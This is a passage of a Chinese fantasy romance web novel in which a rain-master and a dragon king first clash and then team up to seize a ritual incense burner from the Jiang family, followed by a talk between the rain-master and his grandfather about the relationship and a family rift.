脑袋磕到宴氿下巴,陶清观嘶了一声,他抬起头,看见宴氿泛着血丝的唇角,心底一阵发虚。 “……嗨?” 宴氿:“……” 发现幕后主使是陶清观,他居然感觉一切都变得合理起来,能整出这么多离谱的乱子,也就是对方了。 宴氿问道:“你怎么在这?” 陶清观:“爷爷给的委托,那你呢?” 宴氿:“另一个海螺在他们手里。” 一对账,两个人都沉默了。 陶清观将口罩又往上面拉了点,犯案犯到熟人面前,陶清观迟到的羞耻心终于上线,他一巴掌拍在宴氿肩膀上,开口道:“我现在叫陶囡囡。” 陶囡囡做的事,关他陶清观什么事。 对于陶清观掩耳盗铃的行为,宴氿除了默认,还能怎么办,他的手搂在陶清观腰间,大概是刚做完坏事,陶清观难得乖巧。 宴氿心中微动,可就在这时,江琰突然冒出来。 “不愧是您,这么快就抓住贼人了。” 宴氿沉默,抓到人,他、他吗? 陶清观回过神,推了宴氿一把快速撤开。 另一边王珍宝也快压不住江天霁了,那雷一道道往他身上劈,他头发都被劈竖起来,传来一阵阵焦香。 陶清观赶来,跟王珍宝合力将江天霁打晕,天上的乌云散去,王珍宝长松一口气。 王珍宝扛起江天霁,对陶清观道:“我们快走,前面那男的不好惹。” 确实不太好惹,陶清观与宴氿遥遥相望,说起来他好像还没和宴氿打过,本来雨师锻炼能力就不需要过招,再加上就算他动手,宴氿肯定也让着他。 但现在不一样,陶清观心底升起几分跃跃欲试,再王珍宝的催促中,他选择和对方一起跑走。 匆匆赶来的江琰愣住了,他不解地问宴氿,“您为什么要放他们离开。” 宴氿面不改色地说道:“江天霁在他们手上,我不方便动手。” 听到父亲被抓,江琰震惊之余有觉得丢脸,这下他们在宴氿面前彻底抬不起头,他在心底埋怨江天霁无用,可自己还需要仰仗对方,江天霁决不能出事。 江琰用哀求地目光望向宴氿,“求您救救我的父亲。” 宴氿开口道:“他不会有性命之忧。”最多被捆一阵子,陶清观有分寸。 只是陶清观离开前看他的那一眼,让他心底毛毛的,背后也有点凉,总觉得会发生什么不好的事情,但陶清观他们的目标是礼器,应该和他没关系……吧。 宴氿心底没底,但睨向江琰时,他语气是公事公办地冷漠,“你们的诉求要从保护礼器,变为救回江天霁?” 江琰一怔,脸上露出不敢置信的表情,他不相信宴氿居然这么无情,对他们不留半分情面。 事情的发展远超江琰的预想,似乎祖上的恩情对宴氿来说无足轻重,他接受不了这份事实,“您一定要分这么清楚吗?也是,若是先祖看到我们现在无能的样子,也会觉得丢脸吧。” 江琰微垂着眼帘,神情似有怨,又有不安,他身上还滴着水,看着无助又可怜。 宴氿扫了江琰一眼,眼中古井无波,“你知道你口中的先祖叫什么名字吗?” “当然。”江琰脱口而出,“叫江丰……” 说到一半他卡壳了,他在意的只有那份恩情,那会去管一个死了几百年的人的名字。 江琰尴尬地笑笑,给自己打圆场,“父亲不允许我直呼先祖的姓名,这是对先祖的不敬。” “你不记得。”宴氿戳穿江琰,他毫不在意江琰难堪的脸色,淡淡道:“我也不记得了。” 江琰猛地抬起头,望着宴氿冷然的侧颜,感觉有什么脱离掌控。 ………… “我已经找人传消息,让他们拿礼器来换。” 王珍宝一屁股坐在地上,他拎过被捆着的江天霁,一手摸着下巴开口,“他好像是江家家主来着。” 陶清观闻言,扭头看了一眼,对江天霁这张脸没什么印象,反正这件事他打算扔给陶笠鹤背锅,人得罪就得罪了。 “累死我了。”王珍宝感慨,“等拿到礼器,我们就能走了,陶小友,今天真是谢谢你。” “现在说谢有点早。”陶清观望着昏迷不醒的江天霁,若有所思,“江家不一定会善罢甘休,而且那家伙可能帮江家,事情有点麻烦。” 王珍宝坐正,问道:“那家伙是谁?刚刚那个男人吗?” 陶清观点头。 王珍宝:“他是什么人?” 陶清观含糊其辞道:“就一个很厉害的家伙,在特管局谁也不敢惹的那种。” 王珍宝啊了一声,一颗心也跟着提起,他小心翼翼地问道:“你爷爷也不敢惹吗?” 回想陶笠鹤和宴氿相处的过程,陶清观点了下头,肯定道:“他不敢。” 听到这话,王珍宝像泄了气的皮球,他两手交握在一起,心底生出几分焦躁不安,他向陶清观求助,“那怎么办?他不会来追杀我们吧,我跑得可慢了。” “我正在想办法。”陶清观敛下眼眸,宴氿向来信守承诺,既然答应帮江家,肯定不会反悔,要是宴氿过来抢人,他和王珍宝怕是够呛。 王珍宝人有点方,嘴里碎碎念道:“要不我们把江天霁弄醒,直接问他礼器在哪,早点拿到早点走人。” 陶清观觉得王珍宝奇奇怪怪,他问道:“刚刚那么多人你都不怕,现在就一个人你慌什么。” “你不懂。”王珍宝长叹一口气,“根据我的经验,那男的不像是会尊老爱幼的,要是我躺在他面前,他肯定把我踹得老远,太可怕了。” “……其实他挺爱幼的。”陶清观开口道,在王珍宝又燃起希望的目光下,他接着把剩下的话说完,“但他确实不尊老。” 就宴氿那个年纪,谁能老过对方,虽然他没问过宴氿具体有多大,但千八百岁肯定是没跑。 王珍宝眼底的希望陨落,他露出视死如归的表情,说道:“我会尽量拖住他,剩下的就靠你了。” 陶清观啧了一声,压低声音说道:“我有一个主意……” 王珍宝静静听着,越听眼睛越亮,他激动道:“我觉得可以。” 第78章 第 78 章 宴氿:你对我动真格的? 宴氿把玩着茶盏, 有几分走神,不知为什么,回来后他一直心神不宁, 似乎有不好的事要发生, 回想陶清观的眼神,那种毛毛的感觉又冒出来。 就好像接下来陶清观是冲他来的。 咔哒一声, 宴氿将茶盏放回桌面上,在心底告诉自己,是自己多想了, 再怎么着,陶清观肯定是向着他的,而他自然也向着陶清观。 “我们还要等到什么时候。” 江琰焦急地声音传来,他来回踱步,看着悠闲品茶的宴氿, 心底抑制不住的焦躁。 最终他还是选择让宴氿帮忙救回江天霁,若是江天霁被一个三流家族抓获的消息传出去,不用想都知道会惹出一系列麻烦, 必须在事态失控前将江天霁救回来。 至于礼器那边, 只要让人死守,就凭王珍宝两个人是无法攻破防线的。 宴氿指腹摩挲过茶盏边缘, 薄唇轻启, “你的人确定好那两人的位置了?” “大概在竹休庭附近。”江琰对上宴氿的目光,心底没由来地一慌, 他错开视线, 开口道:“您真的打算帮江家吗?” 宴氿没有回答江琰的问题,他站起身,腰间的流苏随他的动作晃动, 他漫不经心地说道:“带路。” 江琰咬着下唇,他低低应了一声,走到宴氿身前。 竹休庭内空无一人,但根据前几次的套路,陶清观和王珍宝应该都躲在暗处。 灵的波动依旧乱糟糟的,宴氿心生厌烦,纵使紊乱的灵能限制潜入者的能力,可同样也会对己方造成很大的阻碍,江天霁这么做完全是伤敌一千,自损八百。 用陶清观常说的话就是,可以,但没必要。 而且他并不觉得为一个王珍宝,会让陶笠鹤大费周章地派陶清观过来帮忙,那件礼器估计另有隐情。 宴氿搜寻着陶清观的身影,按照他对陶清观的了解,对方多半待在一个既隐蔽,又能观察到大部分视野的地方。 他将目光投向被树木遮挡的木楼高处,那边正好能藏下一个人。 宴氿正准备去那边看看,突然王珍宝从墙后边走出来,他发出一声哀嚎,声泪俱下,“其实我也是江家人啊,你不能光帮他们不帮我们,本是同根生相煎何太急。” 王珍宝抹着眼泪开始哭诉,“想当年,因为江家重男轻女,将我的先祖出卖,若不是我的先祖有几分本事,你就看不到我了。” 江琰被这一变故整的一愣,反应过来他连忙否认,“你在说什么胡话,我家族谱上可没有你的存在。” “是啊,你们看不上我的先祖,不让他上族谱。”王珍宝指着江琰胡搅蛮缠,“不信你跟我去做DNA鉴定,肯定高于百分之九十。” 王珍宝嚷嚷着,“你们就是心虚,不仅抢走礼器,现在还想独占祖上的恩惠,你们这群强盗。” 他往地上一坐就是哭,活像受了天大的委屈。 躲在后面的陶清观默默捂脸,他给王珍宝的剧本可没这段,这人怎么还给自己加戏。 人和猪的DNA相似度还能有百分之九十,更别说人和人之间,这点王珍宝还真没说假话。 宴氿眉尖上挑,他瞥向江琰,“你怎么说?” 江琰气得浑身发抖,“根本是胡说八道,我们江家从未发卖过任何人,您不要被他骗了。” “那你跟我去做DNA鉴定。”王珍宝一口咬死,“等鉴定结果出来,这位再看帮谁也不迟。” “你想得美。”江琰没忍住爆粗口,“都脱五代了,我们能有个屁的关系。” 王珍宝向江琰翻了个白眼,“你就是心虚,呵,你不跟我做,有人跟我做。” 他说完,转身就跑,从拐角出来后,他身上就多出一个昏迷的江天霁,王珍宝扛着人,直奔出口处。 江琰不假思索地追上去,陶清观在这时出现,他藏在口罩下的唇角扬起,刻意用改变过的声音说道:“若是假的,你这么着急做什么?” “荒唐。”江琰气极反笑,如此蹩脚的理由,王家这些人居然也能想出来。 宴氿扫了眼陶清观,抬脚追上王珍宝,他是有意放水,可现在放的话那就太假了,不过瞬息间,他与王珍宝之间的距离就拉近到几米之间。 陶清观也不急,把江琰牢牢捆在原地。 眼看宴氿要追上来,王珍宝一巴掌拍在江天霁脸上,嘲讽道:“还睡呢,礼器我们就收下了,你可是丢脸丢到姥姥家了。” 江天霁心底一突,目光下意识望向礼器所在的方位。 王珍宝发现后,立即高声大喊,“在北边!” 陶清观眉眼微弯,他反手制服江琰,随手将人捆起来,笑道:“你安静地待一会吧。” 他闪身向北方掠去,确认大致方位后就很好找了,北边人最多的地方就是礼器所在。 宴氿身形一顿,短暂地犹豫后,他继续追逐王珍宝,他刚要靠近,一件法器甩他脸上,爆发的灵将他击退。 认出那件法器是他给陶清观的,宴氿又好气又好笑,陶囡囡这胳膊肘尽往外拐。 王珍宝一边跑,一边扔陶清观给他的东西,他心在滴血,这些可都是宝贝,居然就这么浪费了。 可更让他吃惊的是,用了这么多东西都不能对宴氿造成实际伤害,追着他的这家伙究竟是何方神圣。 很快王珍宝手里的库存就用干净了,几乎是他用完法器的下一秒,宴氿就追上他,把江天霁抢了回去。 宴氿控着风,将江天霁和王珍宝带回江琰所在的地方,随手将两人扔下。 江天霁被折腾地够呛,落地的那一刻他直接吐了出来。 王珍宝见自己落入地方大本营,坐在地上瑟瑟发抖,他两手举过头顶,“我投降,投降!” 江天霁脸色阴沉,他将江琰放了出来,再也维持不住表面地高雅,他骂道:“没用的废物。” 江琰被骂不敢回嘴,他开口道:“得赶紧去礼器那。” “还不快走。”江天霁连和宴氿打声招呼都顾不上,乘风飞速向北边而去。 宴氿勾起唇角,抬脚跟上。 本来还在捂脑袋的王珍宝,一见没人管自己,他眨了眨眼,也跟了上去。 另一边。 陶清观摸到礼器存放的地方,他看着里三层外三层的人,不由感叹一声,江家真是好多的人啊。 混进去似乎有点困难,他又不是特工出身,能在这么多人眼皮子底下来去自如, 暗的不行,那只能明抢了,都到这里,回去就太可惜了。 陶清观挑了个人少的地方,直接冲进去,他冒出来的角度很刁钻,看守那个方位的人被打得措手不及,还真让陶清观溜了进去。 地面人太多,陶清观干脆用飞的,存放礼器的地方是个像塔一样的建筑,全都由木材打造,陶清观没太费力,就破开一道窗户钻进去。 他运气不错,破窗的地方正好是礼器所在的房间,看着被人群包围的香炉,陶清观知道自己找对地方了, 接下来就是,砂石与闪电起飞,波涛共雷声一色,几十个雨师共同发力的画面比武侠小说里描述的还夸张。 陶清观躲开闪电,长吁一口气,汤姆的,真吓人。 宴氿四人就是在这时候赶来,江天霁立即指挥守卫攻向陶清观,有江天霁坐镇,原本杂乱无章的攻击变得有序起来,陶清观压力倍增。 王珍宝在一旁干着急,见宴氿似乎有加入的意向,他赶忙扑上去,要抱住宴氿,但他连衣角都没碰着,就被风刮了出去。 他赶忙向陶清观那边大喊:“快跑,那个穿古装的来了。” 陶清观一惊,慌忙避开旁边的攻击,此刻宴氿与他的距离不足一米,他立即从口袋里掏出剩下法器砸向宴氿,灵更是一股脑的糊上去。 宴氿毫无防备,被砸个正着,他的衣袖被火点燃,虽然他反应及时,可衣角还是被燎到好几块。 而罪魁祸首陶清观乘胜追击,水灵灵地朝宴氿踹过来,一点没留情面,宴氿握住陶清观的脚踝,刚要开口,腹部又遭受一肘击。 陶清观趁机把脚收回来,他拉开距离,警惕地望着宴氿,生怕对方下一刻突击。 宴氿气笑了,“对我动真格的,嗯?” 陶清观眨眨眼,一脸无辜,动真格的他都奈何不了宴氿,要是放水那还得了。 宴氿猜到陶清观心中所想,一时间啼笑皆非,他将两手举过肩膀,无奈道:“你还不相信我吗?” 陶清观眼睛一亮,屁颠屁颠跑到宴氿身旁,态度一百八十度大转变,抬手拍了下宴氿的肩膀,“你早说嘛。” 宴氿嘴扯了下唇角,某人刚刚根本没有给他开口的机会。 局势逆转,江天霁脸色漆黑,他死死盯着宴氿,沉声道:“龙王原来是如此不守信用之徒。” 宴氿神色不变,淡淡道:“我答应救你,现在你已经没事,我的承诺也算完成。” 江琰大步上前,控诉道:“您宁愿帮这种小人,也不帮江家吗?难道您真的相信他们的鬼话!” 宴氿:“不信。” 江琰眼底一喜,开口道:“看在先祖的面子上,您就算不帮江家,也不能帮他们,当年先祖帮您,肯定是想结个善缘,现在的江家也一样。” “善缘。”宴氿重复着这个词,眼底浮现讽刺,他轻笑一声,说道:“你们先祖确实帮过我,三天后带着一群人来围堵我也是他,一条受伤的龙,对他们来说是难以抗拒的诱惑。” 江琰愣住,他踉跄着后退一步,嘴里喃喃着,“不可能。” 第79章 第 79 章 桃色新闻 “就算您不想帮江家, 也不用编排出这种谎话。”江天霁也不知是真不信,还是假不信,他拦住江琰, 眸光犀利, “先祖绝无小人之径。” 陶清观毫不客气地翻了个白眼,“说这么肯定, 你下去见过他不成?” 江天霁面色不善,但宴氿无所顾忌,促狭的笑声在房间内格外明显。 陶清观推推宴氿, 用在场所有人都能听见的声音说悄悄话,“你快把香炉拿过来,我午饭还没吃。” 宴氿哂笑,“好。” “欺人太甚!”江天霁沉着脸,似是收到什么屈辱, 他大手一挥,开口道:“江家一百多号也不是吃素的。” 话音落下,江天霁抢先动手, 窗外雷声大作, 屋内的人发丝飞舞,隐隐能听见噼里啪啦的静电声。 陶清观瞄了一眼屋外, 思维发散, 明天的娱乐新闻标题他都想好了,‘惊!雷霆轰鸣是何人在渡劫!”。 方圆十里的灵都开始躁动, 陶清观薅了一点到体内, 有一种麻麻的感觉,像是在吃跳跳糖,不喜欢。 陶清观搓搓胳膊上激起的鸡皮疙瘩, 果断把宴氿卖了,“你加油。” 王珍宝左顾右盼,他缩在陶清观旁边,小声问道:“真的没问题吗?龙王对上这么多号人也够呛吧。” “没事。”陶清观眼底完全没有担心的情绪,他望着宴氿的背影,挽起唇角,“他可是力压几十号顶尖雨师的龙。” 以前不觉得选拔契约者的比赛有什么特别的,但现在回头看,宴氿一龙在几十号雨师的攻势下稳如泰山,村子里的天气几乎掌握在宴氿一龙手中。 陶清观不觉得江家这些人,会比当时的参赛者们厉害。 宴氿神色淡然,狂风冲向他的面门,却又在下一刻戛然而止,时间似是暂停一般,跃动的灵凝固在原地,几乎是瞬息之间,灵骤然溃散。 陶清观心头一闷,好久没出现过的虚弱感接踵而至,他啧了一声,抓紧吸收周围的灵。 大意了,光记着宴氿的实力,忘记对方现在用的是自己的灵。 陶清观拱了下宴氿,小声催促道:“快点快点,你也不想随地大小变吧。” 听到这话,宴氿脸上风轻云淡的神情变了,他用风卷起香炉,塞到陶清观怀里,“走。” 香炉入手一片冰凉,陶清观摸了摸香炉的外壁,实在没看出有什么特别的,不明白为什么王珍宝和江天霁要为这东西打得死去活来。 陶清观随手将香炉扔给王珍宝,眼神示意对方该演戏了。 王珍宝秒懂,捧着香炉,高声说道:“谢谢陶局帮忙!” 声音震耳,余音绕梁,在所有人耳畔中回响。 宴氿嘴角微微抽搐,看着两手背在身后,高深莫测昂着下巴的陶清观,心底一阵无语,算了,他开心就好。 陶清观压着声音说道:“小王,我们走。” 王珍宝屁颠屁颠跟上,“好嘞。” 三人视周围一圈人为无物,大摇大摆地往外走。 江天霁五指攥紧,见识过宴氿的实力,他清楚执意动手,最好的局面不过是鱼死网破,他下唇咬得泛白,死死盯着前方三人的背影,像是要把今日的屈辱烙印在脑海之中。 宴氿背着身,都能感觉到江天霁灼灼的目光,他忽然停下脚步,回头对上江天霁的视线,宴氿扬了扬手中的一对手链。 江天霁一眼认出那是宴氿开始相中的礼器,他本想做个顺水人情,离开时送给宴氿,却不想这东西已经到宴氿手上。 顶着江天霁骇人的脸色,宴氿说道:“这个我就收下了,我在原处放了件更好的,没让你们吃亏。” “再见。” 陶清观瞄了眼江天霁,暗戳戳地拽了下宴氿的衣摆,问道:“什么东西。” 宴氿反握住陶清观的手,将手链戴在陶清观手腕上,白皙的肌肤衬的链子上的那颗朱砂鲜红欲滴。 陶清观转了下手腕,手链跟着一起转动,虽然不知道这东西有什么作用,但看宴氿的意思应该是送给他,“谢谢。” 宴氿眉眼柔和,他的想法或许真的能实现,心底的情绪激荡,他情难自抑,在陶清观露出来的眉心处落下一吻。 陶清观还没什么反应,旁边的王珍宝发出一声鸡叫,“你、你们!” 在场所有人的目光汇聚在王珍宝身上,王珍宝脑子一抽,脱口而出,“你居然如此饥不择食,对陶局下手。” 陶清观眨了眨眼,对哦,他现在是爷爷来着。 宴氿的表情顿时变得微妙,其余人的表情就更微妙了。 这龙王和陶局……不能吧,龙不能,至少不可以。 远在特管局的陶笠鹤清清白白一辈子,死也没想到自己居然会在晚年传出桃色新闻。 眼看宴氿要经历龙生的社死,陶清观清了下嗓子,找补道:“别瞎说,龙王他喜欢……喜欢……” 陶清观一时间没找着合适的词,回想宴氿的喜好,他灵光一闪,“他喜欢人qi……唔!” 宴氿一把捂住陶清观的嘴,堵住对方接下来更糟糕的话,他夹着陶清观的腰,带着人脚步离开‘案发现场’,速度之快,王珍宝差点没跟上。 陶清观四肢随着宴氿的动作晃来晃去,他百般无赖地打了个哈欠,在宴氿走向街区的时候开口制止,“等等,你这身衣服太扎眼。” 古装帅哥路上偶尔能碰见几个,但宴氿不一样,他穿的是火烧战损版,这火还是陶清观自己放的。 宴氿不语,将陶清观放了下来。 陶清观摘掉口罩,久违地呼吸到新鲜空气,他冲宴氿讪讪笑道:“走走走,我给你买衣服去。” 他的衣服也破了些地方,正好一起换。 陶清观拉着宴氿直奔最近的商场。 店员看见浑身凌乱的陶清观二人,差点要报警,陶清观及时忽悠过去。 他挑了身看着顺眼的衣服,又走到宴氿身旁问道:“你选好没?” 宴氿瞥向陶清观拿着的衣服,在衣架上拿了身类似的,回答道:“就这身。” 陶清观挑眉,没说什么,跟宴氿分别进入换衣间,将衣服换上。 至于原本破损的衣服,被丢进垃圾桶。 陶清观走到店外,舒展了一下身体,忙活大半天,他半个月的运动量都要搭进去了,松懈下来,脑子里就剩一个累字。 “前面那家店的评价不错。” 宴氿冷不丁地开口,陶清观脑子没跟上,啊了一声。 “你不是说饿了。”宴氿一边翻着某团,一边说道:“在外面吃,还是回家?” 陶清观不假思索:“在外面。” 现在他完全不想做饭。 宴氿自然不会反对,见陶清观懒得动,他索性带陶清观去最近的一家小餐馆。 点完菜,陶清观往桌上一趴,嘴里嘟囔着,“忙活大半天,也不知道忙了什么。” 感觉像是被人骗出去打白工,完事后还要笑呵呵地送骗子离开。 宴氿开口道:“累,明天就休息一天。” 陶清观摇头,声音闷闷的,“谁都不能阻止我那这个月的全勤。” 他枕在胳膊上,等菜等的无聊,索性拿出手机来玩,手刚伸进口袋,碰到一个不规则的物体,陶清观将东西拿出来。 看见手中的海螺,想起因为扔衣服时不知道怎么处理这东西,他就把海螺塞进自己口袋。 陶清观顿了顿,把海螺放到桌面上,推向宴氿,开口道:“还给你。” 宴氿随意地扫了一眼,开口道:“没用了,丢掉吧。” 陶清观按着海螺的尾端,手指打转,他用余光瞄着宴氿的神情,问道:“那个人当年究竟帮了你什么?” 宴氿地低垂着眼眸,鸦黑的睫羽遮挡住他眼底的神色,叫人看不真切,“以前的我跟你很像,身体差,又容易生病。” 陶清观听到后半句话,想反驳,又无处反驳,他嘀咕着,“我现在已经好很多了,然后呢?” “那个世道很乱,海底乱,岸上也乱。”宴氿的语气平铺直叙,像在讲一个无聊的故事,“没有长辈的庇护,我在海底难以生存,所以我来到岸上,当时岸上正在闹饥荒,易子而食成为常态。” “我也找不到食物,但好在我是龙,比起人类更加抗饿,不过受伤加长时间未进食,我的身体也濒临极限,那个人就是在这时出现。” “大概因为我的外表像孩童,他在自己也饿了许久的情况下,分出一部分食物给我,而我则将海螺交给他,并承诺会帮他一次。” “再后来的事,你也知道了。” 陶清观坐起来,他一手支着下巴,眸光微闪,宴氿小孩的样子他也见过,但对方现在口中描述的肯定与他见过的不一样,瘦小虚弱的宴氿,还真难以想象。 他双手撑着桌子边缘,后仰靠在椅背上,“怪不得玄北当时对苏小钱他们下手那么狠,龙本的次数怕是没少开。” 或许那人是真心想帮宴氿,但知道宴氿的身份后,终究是敌不过心底的贪婪。 宴氿垂首,听到陶清观的吐槽,他轻笑一声,“人类挺有趣的。” 陶清观没觉着哪里好笑,他趴回桌面上,从下方去望宴氿,抬眼撞入一双含笑的眼眸,心底生出道不清的情绪,陶清观撇过脸,“能见证物种多样性,是有趣。” 宴氿瞥见陶清观的脸颊肉挤出一个圆润的弧度,他抬手戳了一下,“下个假期,陪我去海里怎么样?” 陶清观生出几分兴趣,他抬起头,问道:“有什么好玩的?” 宴氿刚要开口,陶清观手机响起来,一看是陶笠鹤打来的,陶清观按下接听键。 下一秒陶笠鹤愤怒的声音传来,“臭小子,你给我滚过来。” 第80章 第 80 章 陶笠鹤:你和龙王什么关…… 陶清观默默把手机推远了点, 面上有些嫌弃,“爷爷,公共场所不要大吵大闹。” 电话那头的陶笠鹤一口气卡在喉咙里不上不下, 他声音小了些, 接着道:“别想转移话题,赶紧来特管局, 对了,这次你别想着借由龙王开脱,自己一个人过来。” “可我在吃午饭。”陶清观抱怨道:“你给我找的活都不包饭。” “那就吃完饭过来。”陶笠鹤不忘在最后强调道:“只能你一个人来。” 说完, 陶笠鹤将电话挂了。 陶清观看向宴氿,耸了下肩膀,“他心态比较年轻,现在大概在叛逆期。” 宴氿余光扫过熄屏的手机,眼底划过一丝暗色, 他面上不显,笑着对陶清观说:“吃完饭,我送你过去。” “不用。”陶清观开口道:“特管局离家也没多远, 挨完训, 我自己回去。” 他已经料到陶笠鹤会说什么,翻来覆去就那几样, 陶清观已经免疫了, 能够从容地做到左耳朵进右耳朵出,陶笠鹤又不能拿他怎么样。 宴氿指尖轻点桌面, 想到另一种可能, 他刚要开口,服务员端着菜过来,话被打断, 宴氿抿起唇瓣,短暂的犹豫之后,还是没再开口。 他和陶清观的关系并没有确认,现在说这些有些逾越,不过若是陶笠鹤为难陶清观,他也不会逃避责任。 宴氿想清楚,开口道:“行,我回家等你,有什么事随时叫我。” 陶清观咬着肉饼,听见宴氿的话,他含糊地嗯了两声。 吃完饭后,陶清观独自来到特管局。 他对特管局算是轻车熟路,慢悠悠地溜达到陶笠鹤的办公室,陶清观伸手敲了下门。 “进来。” 陶笠鹤的声音从里面传来,陶清观没多想,打开门走进去。 “找我什么事?” 陶清观寻了个沙发坐下,他把手里的饮料放在桌上,等着陶笠鹤开始老生常谈,但出乎预料的,这一次陶笠鹤格外的安静,盯着他半晌不说话。 他被看得浑身不得劲,屁股下跟针扎一样,陶清观往旁边挪了点,试图躲开陶笠鹤的视线,他耐不住沉默的气氛,又开口问道:“干嘛?” 陶笠鹤冷哼一声,终于开口:“你做了什么好事自己心里清楚,王珍宝都告诉我了。” “不就冒用了你的身份。”陶清观撇嘴,“我们都是一家人,你别这么小气,再说他们也不一定相信。” 毕竟他虽然戴了口罩,但和陶笠鹤还是有很大差距得,不过江家信不信无所谓,他就是想把陶笠鹤拖下水。 陶笠鹤嗯了一声,刻意拖长尾音,“就这样?” 不然呢。 陶清观蹙眉,他瞄了眼陶笠鹤的表情,对方一副掌握到他把柄的样子,难道他真的漏了什么? 都怪王珍宝那个漏勺,不说帮着他点,还一个劲地往外漏。 陶清观冥思苦想,“我最近没刷你的卡,也没嚯嚯你的收藏啊,难道你是想说我浪费了宴氿给我的那些东西?” 提到这个,陶清观感觉自己猜对了,他装模作样地叹了口气,说道:“不要那么小气,你放心,给你留的都在,下次我给你带过来。” 陶笠鹤抓住重点,“你之前刷过我的卡,动过我的收藏?” 陶清观身子一僵,他清咳一声,“不要在意这些细节。” “呵呵。”陶笠鹤冷笑,他放下手中的茶杯,身子前倾,以一个极具压迫感的姿势望向陶清观,他沉声道:“你和龙王现在是什么关系?” 陶清观啊了一声,“就正常关系,我们没吵架。” “说谎。”陶笠鹤面上的笑意收敛,眼神锐利,“正常关系,他能在众目睽睽下亲你?” 陶清观一脸懵逼,但陶笠鹤说得言之凿凿,他努力去回想,宴氿亲他了?好像确实有这么回事,但当时王珍宝那一声鸡叫太过引人注目,他注意力跑偏,压根没在意被亲的事。 也是宴氿最近没什么出格的行动,他都忘记宴氿对他的心思不单纯。 陶清观讪笑,抬手抓了抓头发,“我俩现在确实是正常关系,但以后不一定。” 听到这话,陶笠鹤的脸色完全沉了下来,他问道:“你知道这意味着什么吗?” “意味着你要多个孙子。”陶清观摸了摸自己的下巴,“怎么样,当龙王的爷爷,是不是想想就很爽?” “是有点……不对。”陶笠鹤差点被陶清观带偏,他瞪了陶清观一眼,说道:“先不提性别问题,你们两都不是一个物种,简直有违天和。” 陶清观不以为意,“我们家老祖宗不也和龙族在一起过,你这话是大逆不道。” “那不一样。”陶笠鹤眉毛打结,有些话难以启齿,但为了劝陶清观,他还是说了出来,“其实老祖宗是被龙拐走的,那龙见老祖宗生的俊俏就奇了色心,但很快那条龙就腻了,最后扔下刚出生的龙蛋和老祖宗,独自跑了。” 陶清观的表情o.O 这么刺激。 他好奇地追问:“所以龙蛋是老祖宗孵出来的?” “这个我就不清楚了。”陶笠鹤一拍桌子,拉回正题,“所以龙这种生物在感情上极其不靠谱,你不能误入歧途。” 陶清观啧啧两声,“话是这么说,但他是一条老处龙诶,活了千八百年的母单老龙。” 陶笠鹤欲言……又止…… 看着陶清观一脸认真的模样,他之前打好的腹稿全都胎死腹中,陶笠鹤闭上眼,抬手揉了揉算账的太阳穴。 话说到这种地步,他居然想不出反驳的句子,反而看宴氿不自觉带上同情的色彩。 大龄剩龙。 是小区大妈们看到,都会忍不住帮忙介绍对象的地步。 陶笠鹤词穷了,他冲陶清观摆摆手,开口道:“随便你,人生总得受点情伤。” “八字刚有一撇,你急什么。”陶清观心态很好,宴氿还不知道什么时候会跟他表白。 陶清观下意识抚摸腕上的手链,他问了宴氿这是什么,但宴氿却说过段时间在告诉他,对方郑重其事的样子浮现在眼前。 应该快了。 陶清观嘴角扬起,心底有那么些许期待,他突然有点想见宴氿。 “没其他事,我回去了。” “等一下。” 陶笠鹤叫住陶清观,“你在江家有没有见到什么奇怪的人。” “好像没有,不过江家的人多得离谱。”陶清观粗略算了一下,“有好几百号人,他们看不起王家,却又全员出动,甚至叫去宴氿,这点我觉得很奇怪。” “嗯。”陶笠鹤似乎早有所料,他解释道:“那件礼器的制作材料中有一项是龙骨,对转化龙鳞有奇效,江家有人和那些逃犯暗中联系,想把礼器偷运走。” 原来如此,这样就说得通了,陶清观茅塞顿开,他就说这次委托怎么跟抢劫似的,还冒出个不靠谱的王珍宝,感情特管局真是找个借口强抢礼器。 陶笠鹤说什么最近没空,估计也是借口,对方分明是不方便出面,把这口锅甩给了他。 陶清观叹气,他就像块砖,哪里有用往哪搬,唉,不辛苦,命苦。 “你就是在利用我。”陶清观控诉道:“报酬我要三倍。” “行行行。”陶笠鹤懒得和陶清观争,他顿了顿,眼底浮现一丝犹豫,看见陶清观站起身,他还是忍不住开口:“你爸妈他们下星期回来。” “……哦。” 陶笠鹤眉眼间流露出挣扎,“你……你和雨霖找个时间好好谈谈,父子俩一直闹这么僵像什么话。” “得了吧,我和他谈?”陶清观嗤笑一声,“我们不打起来就不错了。” “你这孩子。”陶笠鹤语气无奈,他长叹一口气,说道:“你爸会变成这样是我的责任。” 陶清观摊手,“那你找他谈呗。” 陶笠鹤神色复杂地摇头,“我说再多也没用,得他自己想通。” “哦。” 陶清观不想继续这个话题,转身欲走,但陶笠鹤还在继续说。 “你爸小时候天赋极好,甚至能称为天才,而那时的局势远比现在紧张,雨师的数量远远不够,所以我就将你爸爸带在身边,全国各地的跑,也因此忽略你大伯的存在。” “你大伯这个人好强,可天赋差距在那,资源有限的情况下,我自然是偏向你爸爸,也因此我和雨霖对桑云都有些愧疚在。” “但后来一次意外,你爸爸伤到根基,从此实力大打折扣,而这时凌霄又展现出过人的天赋,他大概是看到曾经的自己,再加上心底有对你大伯的亏欠,就想着弥补,你大伯不愿接受,他就见这份亏欠转移到你大伯的孩子上。” 说到这,陶笠鹤那双向来精神奕奕的眼眸中流露出几分沧桑与疲惫,他望向陶清观,语气中夹杂着无奈,“等我发现这点已经太迟,我找他聊过几次,可他就是拗不过来。” 陶清观低着头,指腹碾过衣摆,他神色平静,似乎是听到一个毫不相关的故事,“我有做错什么吗?” 陶笠鹤连忙道:“你当然没有。” “那我凭什么要顺从他。”陶清观扯了下唇角,想笑却笑不出来,“因为自己的失败,将情绪牵扯到家人身上,我又不是他爸,没义务让着他。” 陶笠鹤:“可是……” “没什么可是。”陶清观打断陶笠鹤,他嘲讽道:“那以后陶凌霄的孩子是不是也得对我心怀愧疚,事事顺从我?” 陶笠鹤哑然,他有千言万语想说,但最后只剩一声叹息。 “我回去了。” 陶清观大步离开,门开启又关上,办公室内剩下陶笠鹤一人。 他望着窗外,腰背微弯,交错的皱纹,泛白的鬓角,显得他越发苍老。 80-90 第81章 第 81 章 陶清观:感觉头顶绿绿的…… 艳阳高照, 阳光倾泻,但洒在身上却没有多少温暖的感觉,陶清观看着盛满掌心的阳光, 眼底如午后静谧的水潭。 秋天的太阳, 徒有其表,内里软弱无力。 陶清观收回手, 转身走向繁华的街道。 回到家。 陶清观脱掉外套,竟感觉到一丝凉意,他搓搓手, 视线刚好瞥见宴氿睡觉用的懒人沙发。 